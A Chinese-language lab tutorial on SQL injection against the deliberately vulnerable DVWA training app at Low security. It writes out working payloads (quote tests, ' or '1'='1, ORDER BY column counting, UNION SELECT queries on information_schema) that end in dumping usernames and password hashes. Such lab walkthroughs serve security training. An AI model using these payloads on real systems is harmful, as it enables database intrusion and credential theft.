DVWA(Damn Vulnerable Web Application)是一个用于练习 Web 应用程序安全漏洞的靶场。以下是在 DVWA 靶场中进行万能登录 SQL 注入实验的一般步骤:
1. 环境搭建:首先,需要搭建好 DVWA 靶场环境。可以按照相关的安装指南进行操作,包括安装 Web 服务器(如 Apache)、数据库(如 MySQL),并将 DVWA 部署到相应的服务器上。
2. 登录 DVWA:在浏览器中访问 DVWA 的页面,使用默认的用户名(通常是 admin)和密码(如 password)登录。
3. 调整安全级别:将 DVWA 的安全级别设置为低(Low)。这个级别是完全易受攻击的,没有做任何安全防护,用于展示不良编程实践导致的 Web 应用程序漏洞。
4. 进入 SQL Injection 模块:在 DVWA 的界面中找到 SQL Injection 模块并进入。
5. 判断注入点和注入类型:
- 在输入框中输入一个简单的数字,如 1,提交后观察返回的结果。
- 再输入类似 1' 的字符,提交后如果服务器报错,且能看到多了一个单引号,那么很可能是字符型注入。例如,输入 1' 后服务器回显出错,说明是字符型注入。
6. 判断可查询字段数:使用 ORDER BY 子句进行判断。例如,输入 1'order by 1-- ;1'order by 10-- 等(二分法),通过观察回显结果的变化,确定表中有几列是可控的。
7. 确定回显点:使用 -1'union select 1,2 -- 等语句,确定回显位置。
8. 查询相关信息:
- 查询用户名和数据库名:-1'union select user(),database() -- 。
- 查询表名:-1'union select 1,table_name from information_schema.tables where table_schema='dvwa'-- 。
- 查询列名:-1'union select 1,column_name from information_schema.columns where table_name='users' -- 。
- 查询用户名和密码:-1'union select user,password from users -- 。
以下是针对 DVWA 低安全级别(Low Level)的万能登录 SQL 注入实验的详细步骤及解释:
- 首先判断是否存在漏洞。输入
1
提交,会回显对应的用户信息;输入1'
提交,服务器报错,由此可确定存在漏洞,且数据库为 MySQL,同时根据报错信息可知这是字符型注入(因为多了一个单引号)。 - 接着判断 POC(Proof of Concept,概念验证)方式。输入
1'or '1'='1
提交,回显了所有用户的信息。其原理是:第一个单引号闭合了原本 SQL 查询语句中的单引号,后面加入的或运算'1'='1
是恒成立的条件,所以无论用户 ID 是什么,都会满足查询条件并被回显出来。 - 然后使用 union 注入查询字段数。输入
1'order by 1--
;1'order by 10--
等,通过二分法不断尝试,最后确定字段数为 2(当输入1'order by 3--
时报错,说明字段数小于 3)。 - 确定回显点:输入
-1'union select 1,2 --
,确定回显位置为 2(--后有空格)。 - 查询用户名和数据库名:输入
-1'union select user(),database() --
,结果为root
(用户名)、dvwa
(数据库名)。 - 查询表名:输入
-1'union select 1,table_name from information_schema.tables where table_schema='dvwa'--
,结果为guestbook
、users
。 - 查询列名:输入
-1'union select 1,column_name from information_schema.columns where table_name='users' --
,结果为user
、password
等。 - 查询用户名和密码:输入
-1'union select user,password from users --
,可得到用户名和密码。